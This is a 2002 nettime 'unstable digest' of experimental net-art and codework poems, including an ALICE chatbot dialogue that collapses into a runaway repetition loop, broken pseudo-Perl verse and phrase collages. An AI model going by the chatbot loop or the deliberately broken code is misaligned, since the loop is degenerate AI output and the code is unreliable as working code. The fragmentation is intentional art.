0 0\n722820557 619903 0 2 0 1 0 1325 210080444\n355422 0 0 0 1741 0 0\n\n=2E.::..\n=2E::::.\n: .. :\n=2E.....\n=2E: :.\n=2E .\n=2E.. ..\n=2E. ...\n: . :\n: . :\n=2E.....\n=2E::::.the sound of sewers...\n=2E.\n=2E.\n=2E.\n=2E.\n::::::\n=2E. ..\n=2E.....\n=2E. ..\n::..::\n=2E: :.\n=2E.....\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////////\nBrand-New VERSION 8.2 Just Released:\nAstounding New Software Lets You Find\nOut Almost ANYTHING about ANYONE...\n//////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n\nAlice2: No I don't think I can do it.\nAlice1: Are you serious? Where do you get your ideas?\nAlice2: Everything I need to know, I learned from Dr. Richard S. Wallace.\nAlice1: All things you need to know you learned from Dr Richard s Wallace?\nAlice2: But all things are not always me need to know me learned from Dr\nRichard s Wallace.\nAlice1: Umm. But all things are not always are not always you need to\nknow you\nlearned from Dr Richard s Wallace.\nAlice2: Interesting. But all things are not always are not always are not\nalways me need to know me learned from Dr Richard s Wallace.\nAlice1: Interesting. But all things are not always are not always are not\nalways are not always you need to know you learned from Dr  Richard s\nWallace.\nAlice2: Huh. But all things are not always are not always are not always\nare\nnot always are not always me need to know me learned from  Dr Richard s\nWallace.\nAlice1: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always you need to know  you learned from\nDr Richard s Wallace.\nAlice2: Umm. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always me  need to know me\nlearned from Dr Richard s Wallace.\nAlice1: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are  not always you\nneed to know you learned from Dr Richard s Wallace.\nAlice2: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always me need to know me learned from Dr Richard s Wallace.\nAlice1: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are  not always are\nnot always are not always you need to know you learned from Dr Richard s\nWallace.\nAlice2: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are  not always are\nnot always are not always are not always me need to know me learned from Dr\nRichard s Wallace.\nAlice1: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are  not always are\nnot always are not always are not always are not always you need to know\nyou\nlearned from Dr Richard s Wallace.\nAlice2: Umm. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always me\nneed to know me learned from Dr Richard s Wallace.\nAlice1: Interesting. But all things are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always you need to know you learned from Dr Richard s\nWallace.\nAlice2: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always me need to know me learned from Dr Richard s\nWallace.\nAlice1: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always are not always you need to know you learned\nfrom Dr\nRichard s Wallace.\nAlice2: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always me need to know me\nlearned from Dr Richard s Wallace.\nAlice1: Interesting. But all things are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways you need to know you learned from Dr Richard s Wallace.\nAlice2: Interesting. But all things are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always me need to know me learned from Dr Richard s Wallace.\nAlice1: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always you need to know you learned from Dr Richard s\nWallace.\nAlice2: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always are not always me need to know me learned from Dr\nRichard s Wallace.\nAlice1: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always are not always are\nnot always are not always are not always are not always you need to know\nyou\nlearned from Dr Richard s Wallace.\nAlice2: Interesting. But all things are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always me need to know me\nlearned from Dr Richard s Wallace.\nAlice1: Umm. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always you need to know you\nlearned from Dr Richard s Wallace.\nAlice2: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always me\nneed to know me learned from Dr Richard s Wallace.\nAlice1: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always you need to know you learned from Dr Richard s Wallace.\nAlice2: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always me need to know me learned from Dr Richard s\nWallace.\nAlice1: Umm. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always you need to know you learned\nfrom Dr\nRichard s Wallace.\nAlice2: Huh. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always me need to know me\nlearned from Dr Richard s Wallace.\nAlice1: Interesting. But all things are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways you need to know you learned from Dr Richard s\nWallace.\nAlice2: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways me need to know me learned from Dr Richard s\nWallace.\nAlice1: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always you need to know you learned from\nDr Richard s Wallace.\nAlice2: Interesting. But all things are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always are not\nalways are not always are not always are not always are not always are not\nalways are not always are not always are not always me need\nto know me learned from Dr Richard s Wallace.\nAlice1: And. But all things are not always are not always are not always\nare\nnot always are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always are\nnot always are not always are not always are not always are not always\nare not\nalways are not always are not always are not always you\nneed to know you learned from Dr Richard s Wallace.\n\n____\n(o )\n/ _____\n____ / (o __ )\n(____ ( /\no) /\nbo! mulch pants vocoded\ncute note vocoded + reverb + hidden dtmf signal...\n:  stretchkitten\nbet boconvobellthe mint sauce of satan!!\nsunday.service washing up sundaytabla\nbiscuits guava!!birdy bell revisted\ntyrrany new version\n:  relapse demonbreakfast\nringer atmo 24pin printer\na little notepad editting of tyranny\nTranslation\nless noise\nSound Appetite venusprint\n:  marsprint\nflangedeggs muppettashtray!fxxxin=B4 guitar\nIt's eprotehlbu transformed\ndirtypill wheres your tool?\nsleepy meatpill\n:  nang2\nglime limepit loanbubbl tortu\ngiromance ANGINA\ninsect at the chime\nGet out of my wind chimes, Kid.\n\"You break 'em, you buy 'em.\"\nhaunted dinner\n\"...get the van...\"\ngranulation->looping->filtering->gating->compression->compression->compr\nession->compression->convolution->to you\n=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=\n=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC=AC\n\n6:30 - 7:30 Dances of Universal Peace\n7:30 - 8:30 Teachings of Hazrat Inayat Khan\n8:30 - 9:15 individual Classes i.e. Gathas, Githas\n9:15 - 10:00 Tea\n\nunderneath the dishes\n-\n-\n-\ngentle nod\n\ndenial through creative resynthesis\n\n\"Those who would give up essential liberty, to purchase a little\ntemporary safety, deserve neither liberty nor safety.\" -Benjamin\nFranklin persnickety. The falling virus of\n'\n\"Your normal signal path is under construction\"\n\n\n\n\n\n\n\n*random sound injury header/body collage\n\n\n\n\nTo unsubscribe from this group, send an email to:\ncollagepoetry-unsubscribe {AT} egroups.com\n\n\n\nYour use of Yahoo! Groups is subject to the Yahoo! Terms of Service.\n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nSubject: column 73\nDate: Sun, 15 Dec 2002 19:59:02 +0100\n\n    > \\ .\n    >\n    >\n    > http://www.atelierblanc.net/p-gustin/uTOpia/column73.html\n\n    /tmp/orbit-:\n    used 12 av\n    drwx------\n    drwxrwxrwt\n    -rw-------\n    srwxrwxr-x\n    srwxrwxr-x\n    srwxrwxr-x\n    srwxrwxr-x\n    srwxrwxr-x\n\n%%EndPreview\n%%BeginProlo\n% Use own di\nseule\nje ne connais\n\nn(R)ul[\\.l]es\n\nlois\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sun, 15 Dec 2002 19:48:28 -0500 (EST)\nSubject: story\n\n\n\nstory\n\n{ for ( i = nf; >=1;i--)printf %s , i;\\n;} /[0]+/ print it turned /[z]+/\nor the sky /[y]+/ something moved on /[x]+/ changed shape /[w]+/ /[v]+/\nspewed /[u]+/ brilliant sparkling things /[t]+/ flooded /[s]+/ dark waves\nof shapes /[r]+/ they /[q]+/ them /[p]+/ /[o]+/ were /[n]+/ stars far too\nbright /[m]+/ brightened behind sparklings /[l]+/ /[k]+/ particles /[j]+/\nin against /[i]+/ among between /[h]+/ repetitions across surfaces /[g]+/\nmoving and repeating within /[f]+/ veering horizons collisions /[e]+/\nfragility /[d]+/ circulating momentarily /[c]+/ always without /[b]+/\nappearances disappearances /[a]+/ pulling everything /^/ was turning |\nsrand  {AT} a=(hard, soft, difficult, easy, blue, grey, white, black, heavy,\nlight, miserable, sexual, wet, lubricated, hungered, nasty, splayed,\nwomanly, manly, neutral, neutered, death-like, lively, protruding,\npenetrating, thrusting, giving, forgiving, poor, rich, sedate, wanton,\ncontrary, wayward, wandering, ill, uneasy, spry, florid, edgy, neurotic,\npsychotic, catatonic, loose, taut, tight, depressed, manic);\n {AT} prep= (beneath within, beyond, throughout, confusing, staining, collusion\nwith);  {AT} noun=(thing, type, category, being, entity, constitution, makeup,\nconstruct, essence, existence); \\none second!\\n;exit(0);}sleep(2); \\nhi!\nwhat's your name?\\nwell, that, let's get started! make gender!\\n;\nsleep(1); that ok with you?\\noh well, nothing happened.\\n\n it's impossible to decide behavior!, \\n 1==g; time's short, please help\nus along!, 5==g; you really want do this mean -, 6== g; where is taking\nus, future?, 4==g; chop name; name terrific gender!, 3==g; disgusts me;\nforget it! but anyway..., 7==g; that's name? ah, anyway yes, go turns me\non!, 2==g; we're breathless; wet diff times!, 5 < <<construct;well,\nalready constructs  {AT} a[gen1] trouble subverting categories we take granted.\nsimple, not compound., dubious, overly complicated..., 6==g;\ndeconstruction marginalizes here!, pronoun has existed hours?, knew all\nwait! are gone forever!, dirty, clean, soiled, sexy, sleazy, nice,\nfeminine, lovely, used, fashionable, small, nervous,  {AT} verb=(thrusts,\nturns, surrounds, oozes, inherits, splays, plays, mixes, amuses, runs,\nflows, repairs); accompanying);  {AT} noun=(breast, love, passion, womb, penis,\nvagina, masquerade, my masquerade);  {AT} nnn=(flower, thing, hole, stick,\nfrock, jumper, skin); nnnn= rand(8); \\nopen mouth...\\n;} \\nah... speak...\nspeak...\\n;\\njennifer, you, you...\\n; \\nare dressed as that?  {AT} nnn[nnnn],\nflesh, ah don't answer...\\n; ah...\\n; \\nis julu wearing ...  {AT} nnn[non1]?\n\\n; \\nshow panties...\\n; sleep(10); \\ni love feelings, ...\\n;} would mind\npartying?, thighs moist inviting, breasts them..., tongue speaks so\nsweetly, grrrl, \\n {AT} noun[non1]  {AT} verb[non]  {AT} prep[nnnn]  {AT} nnn[non1]!\\n;\n {AT} nnn[nnnn]?\\n;  {AT} nnn[g] opens totally you!, moves, river deep..., mine,\nsweet am yours!, body parts, list, list them... by one, alone, typing\ndone.\\n; srand; \\nmy yours...\\n;  partying, name, us?\\n 3==be; come home\nme, julu-of-the-fast-crowd!\\n 2==be;  {AT} a[gen] seeps into julu-jennifer\\n\n0==be;   {AT} noun[non] eaten julu-of-the-open-arms julu-depressed\\n (2 be);\ndevour julu-of-the partying name!\\n 1==be; thoughtful calls forth\n {AT} noun[non], eating, excreting memory, becoming jennifer's jennifer.\\n;}\nmelt julu's skin forever..., scar, wound, brand.,  {AT} a[non] gift ...,\ndarling wore her frock ...; jennifer .trace`,\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\nDate: Sat, 14 Dec 2002 23:47:36 -0800\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: ez wrtr\n\nwrtng z dzgn 4 hd d\nz z zo d(zgn 4 hd)d\nzo vry d(zgn 4 hd)d\nnobd z ntrz t n wrtn z o de\nzo rly d(zgn 4 hd)d jzt lo a yu bg p[]x bg p[]x vdeo\nvd dvd rrrrh zt rew pl d[]gtal z'mzd[]t tp tp tp\nal dat a rat tat tat ta rap't rrr[]t zht\nzht lnz p[]x oo lo'ok bg all hol worl d jzt d(zgn 4\nhd)d p[]x v'lkro dgt alp[]x xzhp n ptl plnt wrtng\nd(zgn 4 hd)d jzt relee de who d(zgn 4 hd)d t'f'k(zgn\nfor ars harz)\nevry hol wurl do wrt bg vmp oo at m ( zgn r yz)\nlng ;lng lng wonzz app ona a tq 2 tq kok tm  ( wht z a\nbotl mot (zgn 4 ar) lnz\nno al gne by ( zgn 4 twze )\n\no kplhq o plhk o pqlkq klq mnee mnee wyz\n\n[]\n\n\n\no bg gd o'f bg zo bg. lk (sgn 4 dot n'd)\n\n\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Mail Plus - Powerful. Affordable. Sign up now.\nhttp://mailplus.yahoo.com\n\n\n\n\nDate: Sat, 14 Dec 2002 22:59:57 -0000\nFrom: morrigan <morrigan_nihil {AT} YAHOO.CO.UK>\nSubject: Profit and Loss\n\n8/7/02\u014169.00\u014119.99\u01417.99\u014155.00\u014125.00\u014125.00\u0141201.98\n15/7/02\u014121.98\u014155.00\u014125.00\u0141101.98\n22/7/02\u014110.00\u014155.00\u014125.00\u014190.00\n29/7/02\u01416.49\u014112.60\u014110.00\u01411.00\u014120.00\u0141238.34\u014120.00\u014120.00\u014125.00\u014164.00\u0141417.43\n\u0141811.39\n\n\u014169.00\n\u014156.45\n\u0141403.34\n\u014125.00\n\u014120.00\n\u0141100.00\n\u014120.00\n\u014112.60\n\u014121.00\n\u014120.00\n\u014164.00\n\u0141811.39\n\n5/8/02\u01411.50\u014128.50\u014125.00\u01416.49\u014125.00\u014186.49\n12/8/02\u01412.50\u014127.99\u014110.00\u014110.01\u014110.00\u014125.00\u014185.50\n19/8/02\u01411.56\u014162.50\u014125.00\u014189.06\n26/8/02\u01412.50\u014134.05\u014115.00\u014115.00\u014125.00\u0141238.34\u014120.00\u014120.00\u014164.00\u0141433.89\n\u0141694.94\n\n\u014128.50\n\u014140.54\n\u0141238.34\n\u014125.00\n\u014130.00\n\u0141100.00\n\u014150.01\n\u014190.49\n\u01416.50\n\u014120.00\n\u01411.56\n\u014164.00\n\u0141694.94\n\n2/9/02\u01413.00\u014140.36\u01410.69\u01410.98\u01417.99\u01418.47\u01411.45\u014125.00\u014125.00\u0141112.94\n9/9/02\u01415.50\u014125.00\u014130.50\n16/9/02\u014117.95\u014110.00\u014110.00\u014129.00\u014120.00\u014125.00\u0141111.95\n23/9/02\u014124.99\u014149.99\u01417.99\u014125.00\u0141107.97\n30/9/02\u01415.20\u01412.99\u014125.22\u014127.90\u01414.99\u01412.78\u014167.80\u014125.00\u0141238.34\u014120.00\u014120.00\u014180.00\n\u0141520.22\n\u0141883.58\n\n\u0141126.28\n\u014166.48\n\u0141238.34\n\u014125.00\n\u014140.00\n\u0141125.00\n\u014173.12\n\u014111.64\n\u01413.00\n\u014120.00\n\u01412.78\n\u014153.99\n\u014117.95\n\u014180.00\n\u0141883.58\n\n7/10/02\u014114.00\u014161.46\u014125.00\u014125.00\u0141125.46\n14/10/02\u01413.48\u014115.00\u014135.82\u014121.74\u014111.75\u014148.80\u014130.73\u014125.00\u0141192.32\n21/10/02\u01417.95\u014110.00\u014125.00\u014142.95\n28/10/02\u014127.40\u014130.00\u014125.18\u014159.00\u014125.00\u0141238.34\u014120.00\u014120.00\u014164.00\u0141508.92\n\u0141869.65\n\n\u014157.56\n\u0141238.34\n\u014136.75\n\u014178.80\n\u0141100.00\n\u014115.00\n\u014192.19\n\u014163.13\n\u014114.00\n\u014120.00\n\u014162.48\n\u014127.40\n\u014164.00\n\u0141869.65\n\n000000000000000000000000000000000000\n           /\\  morrigan\n           \\/   {AT} \n           /\\  Indifference Productions\n           \\/  www.indifference.demon.co.uk\n888888888888888888888888888888888888\n\n\n__________________________________________________\nDo You Yahoo!?\nEverything you'll ever need on one web page\nfrom News and Sport to Email and Music Charts\nhttp://uk.my.yahoo.com\n\n\n\n\nDate: Mon, 16 Dec 2002 22:03:08 -0800 (PST)\nFrom: H. Haggerty <herbert_haggerty {AT} yahoo.com>\nSubject: Let me point out the painfully obvious,\n\n>From usenet\n\nWhat do you take me for, a sissy?\nWhat do you take me for, a cheat?\nWhat do you take me for, an evangelist?\nWhat do you take me for? Some poor lonesome fool?\nWhat do you take me for, some kind of Uncle Moneybags?\nWhat do you take me for, a complete sap?\nWhat do you take me for, some sort of flake?\n\nWhat kind of gun-toting desperado do you take me for?\nWhat kind of imbecile do you take me for?\nWhat kind of miscreant do you take me for?\nWhat kind of snivelling little son-of-bricklayer do you take me for?\n\nWhy on earth wouldn't they send out a few radio signals to try and\ncontact other civilizations?\nWhy on earth wouldn't they if they did indeed speak English?\nwhy on earth wouldn't they swear just as much in post-apolyptic world?\nWhy on earth wouldn't they Americanise it?\n\nYou've got some nerve to talk about someone having closed minds!\nYou've got some nerve speaking about \"stepping over the line\"\nyou've got some nerve associating our beloved SON with a serial killer\nYou've got some nerve standing up to Molly\nYou've got some nerve comparing me to some idiot\nYou've got some nerve to tell me whether my name is Yoruba or not\nYou've got some nerve calling anyone a moron\nMan, you've got some nerve\n\nYou would have me believe that artistic talent is something we are\nendowed with\nyou would have me believe that somebody would go back to a starship\nYou would have me believe that there is a town, London, in a land far\naway called England\nYou would have me believe that kids are spanked in kingdom halls from\ntime to time\nI probably deserve this kind of treatment, or so you would have me\nbelieve\n\nAny idiot knows that omnivores eat more than just steak and pork chops\nAny idiot knows that the up/down direction is very different than the\nother directions\nany idiot knows the bridge on an archtop is not glued in place\nany idiot knows that you cannot allow unrestricted access\nany idiot knows wrestling is fake\nAny idiot knows that there is no championship for Test cricket\nAny idiot knows that popularity is the worst attribute to qualify\nsomeone\nAny idiot knows that carbon 14 is not used to date the Earth\nAny IDIOT knows that a cheap quartz movement can keep better time than\nRolex's automatic movement\nAny idiot knows that the Bible is not speaking of a man's beard in the\nverse you deceitfully quote\n\nWell, I wasn't born yesterday after all, Smith, so save your cheap\ntricks\nI wasn't born yesterday dude and I know how to play\nI wasn't born yesterday and I can recognize a delayed reaction of\nresentment\nI wasn't born yesterday, you know. I can remember back a good 3 or 4\ndays\nI wasn't born yesterday, as far as I can tell\nOh no, my friend, I wasn't born yesterday\nI wasn't born yesterday, and I'm not unaware of Marx and Engels\ni wasn't born yesterday and i have a sixth sense too\nWhat do you think, Peter, I wasn't born yesterday?\n\n\nAs a Frenchman once pointed out\nAs a Brisbane nudist photographer friend pointed out\nit should be pointed out\nI merely pointed out\nas you pointed out\nI've pointed out\nas has been pointed out to me constantly\nOthers have also pointed out\nAs several people have pointed out\nIt's been pointed out\nit was just pointed out\nI think it had to be pointed out\nit has been so painstakingly pointed out\nIt was often pointed out\nI should have pointed out\nwhich you pointed out\nAs Fred has pointed out\n\nIt has become painfully obvious\nAnother courageous assault on the painfully obvious\nAnother thing that's painfully obvious\nWhy I Predicted The Painfully Obvious\nWe make laws pointing out the painfully obvious\nit is more painfully obvious than ever\nonly make it more painfully obvious\nAnd you are so painfully obvious\nit SUPPOSED to be painfully obvious\n\nLet's make some things perfectly clear!\nHave I made myself perfectly clear now?\nLet me make one thing perfectly clear\nLet me get this Perfectly Clear\nI wish to make it perfectly clear\nlet's get this perfectly clear\nJust to be perfectly clear !!!\nI WANT TO MAKE SOMETHING PERFECTLY CLEAR!!!\nOne thing is already perfectly clear!!!\nto make it perfectly clear---> IT'S OVER BETWEEN US ...\nto make it perfectly clear---> use vinegar to clean ...\n\nlet me get this straight. Are you giving me permission?\nSo let me get this straight. Booker T and Golddust fued with them for 3\nmonths\nNow, Let Me Get This Straight\nLet me get this straight once and for all\n\nOf course, this is a situation between the devil and the deep blue sea\nYou've got me in between the devil and the deep blue sea\nHow far would the distance be between the devil and the deep blue sea?\nit is a choice betweenthe devil and deep blue sea\n\nWhy do some things happen only once in a blue moon?\nit's some need they have once in a blue moon\nthat hopefully only happens once in a blue moon\nI do envision myself firing one up every once in a Blue moon\nonce in a blue moon they shock me\n\nDamnit! I don't care what anybody says!\nI'm sorry. I don't care what anybody says.\nI don't care what anybody says, - it belongs to me!\nI don't care what anybody says about these two, they are two damn good\nworkers.\n\nas it just so happens - i have indeed consumed volumes of bukowski\nit just so happens that i'm in a good mood today\nit just so happens that I like to have things \"handy\" at times\n\nWake up and smell the darn coffee. Are you more Nigerian than any of us\nout there?\nAs I say buddy, wake up and smell the coffee\nSooner than later people are going to wake up and smell the coffee\nWake up and smell the coffee -- Time is ticking out\nWake up and smell the coffee people!\n\nI really couldn't care less what you people think\nI couldn't care less if Yan Can Cook\nfrom diane, who COULDN'T CARE LESS\nI couldn't care less what you think, say or do\n\nI could care less about their sexuality\nI could care less what these people do in the middle east\nI could care less about abortion\nas long as bullets aren't flying, I could care less\n\n\nAre you all done having fun at my expense?\n\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Mail Plus - Powerful. Affordable. Sign up now.\nhttp://mailplus.yahoo.com\n\n\n\n\nDate: Sat, 14 Dec 2002 19:49:07 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: FAECIS (test run - NOT the real thing!)\n\nFAECIS (test run - NOT the real thing!)\n\n\nall will have an had but by he was a <\ndo as if what their were we she his but are <\nhave who as can if there will what has their have <\nwho all if what has have were an which had his <\nas all can if there will what would <\nall can <\ncan what have an she they this that he was in <\nif there will what would has their have been were n't <\nthere what would their have were n't we or she had <\nwill what would has their have <\nwhat has have been n't we which had from they but <\nwould what will there <\nhas <\ntheir been n't an or she from they 's this are <\nhave their has would what will <\nbeen were n't an we <\nwere n't an we or <\nn't an we or which had from his they 's but <\nan or she from they this are that with he for <\nwe which had his 's this not by on be you <\nor which she had from his they <\nwhich or we <\nshe his 's not by with he I is in and <\nhad his 's this are on be you I is to <\nfrom they this are that be you I is in and <\nhis from had she which or we an n't were been <\nthey from she which we n't been their has what there <\n's his she or n't been has what if all have <\nbut 's they his from had she which or we an <\nthis they from which we were their would there can who <\nnot are by that <\nare not this but 's they his from had she <\nby are this but they his from she which we an <\nthat not 's from which an been has will can who <\non are but his she we were their what if as <\nwith on that by are not this <\nbe with that by not this 's they from had which <\nhe on are but his had or n't have would there <\nyou he be with on that by are not <\nfor you he be <\nI he on not 's from which an have would there <\nwas for be on by not 's his had or an <\nis you with are but from or n't their what can <\nit was for be on by not but his had which <\nto it was I for you be with on by are <\nin it was I you be on by are this 's <\na in to it is was <\nand a in to <\nof a to is I you with that are this 's <\nat a is for be that this they had we were <\nthe in I with not they which were would can do <\n<\n\n\n-m\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: a.nAIMe.a.numeriCC.a.Line.a.K-ODEs.a.grainst\nDate: Sun, 15 Dec 2002 01:05:32 -0700\n\nx;crost(n)SKY(n)K-Lines\n<---//aPatch//--->\nnaime:\"identiKit\"-THEN-99_kines\npro.file: SENT:\nTO: miniNaimes\nblstep03/04/05\nMini(N)AIMes\nknewPRO.L1{}ERRate\nIF_THEN_subSette\noft.knewMODE:\nghlstens:\nautumn-frequency\n\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: lisetteOPeRR08\nDate: Tue, 17 Dec 2002 22:02:34 -0700\n\nmixingBoard, cassette.REC.order\ntoolSet.magnIF\nam_patch:\nautumn-frequency\n\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: simILL--->tone\nDate: Wed, 18 Dec 2002 22:34:47 -0700\n\n|||||||||thistleKit\n]]]]]]]]]iNNe\n]]]]]]]]]]TRY\nlossSync wit [k]not[d]e(a)x/i/on(s)___=3D-\nwayst.lasticaLL.meta4s:SCRPT_(f)ILL=3D-\n-=3DRE:mndeRRs=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D_t=\nube//\n=3D\"LEFT\"|||||||||||||||||||||||||\n=3D\"DIM\"||||||||||||||||||||||||||||||\n++++++ptcht.a.spc.a.mnd.prcnt.sgn|||++\n=2E.....04:GEN:/\n=2E.....//:RE: gainLevel=3D_voice:\nautumn-frequency\n||||||||||||||||\n]]]]]]]]]]]]]]\n\n\n\n\nDate: Thu, 19 Dec 2002 07:57:58 +0100 (CET)\nFrom: integer {AT} www.god-emil.dk\nSubject: \n\n\n\n\n\n>Would you meet with me in real\n>life--perhaps Denmark--after my book is done?\n\n! tr!ed real l!f. ! detezt be!ng 1\nov u\n\n\n>I will not think poorly of\n>you whatever you decide.\n\n! do not kare about humanz\n\n! hav a mob!l uorld u!ch !z z!mpl!.zuper!or 2 an! ov u\n\n\n\n\n\n\n\n\nnettime unstable digest vol 26\nSun Dec 22 17:01:43 2002\n\n\nSubject: Head & Rotor VE 12/18\n    From: \"diesel fuel injection\" <china-lutong {AT} ynmail.com>\n\nSubject: \n    From: integer {AT} www.god-emil.dk\n\nSubject: [collagepoetry] hermes is an intruder into spheres\n    From: solipsis\n\nSubject: column 73\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n\nSubject: story\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: ez wrtr\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n\nSubject: Profit and Loss\n    From: morrigan <morrigan_nihil {AT} YAHOO.CO.UK>\n\nSubject: Let me point out the painfully obvious,\n    From: H. Haggerty <herbert_haggerty {AT} yahoo.com>\n\nSubject: FAECIS (test run - NOT the real thing!)\n    From: MWP <mpalmer {AT} JPS.NET>\n\nSubject: a.nAIMe.a.numeriCC.a.Line.a.K-ODEs.a.grainst\n    From: a u t u m n - f r e q u e n c y \n\nSubject: lisetteOPeRR08\n    From: a u t u m n - f r e q u e n c y \n\nSubject: simILL--->tone\n    From: a u t u m n - f r e q u e n c y \n\nSubject: \n    From: integer {AT} www.god-emil.dk\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 22 Dec 2002 17:03:12 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200212232039.gBNKdnc31095 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0212/msg00115.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 26"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00096",
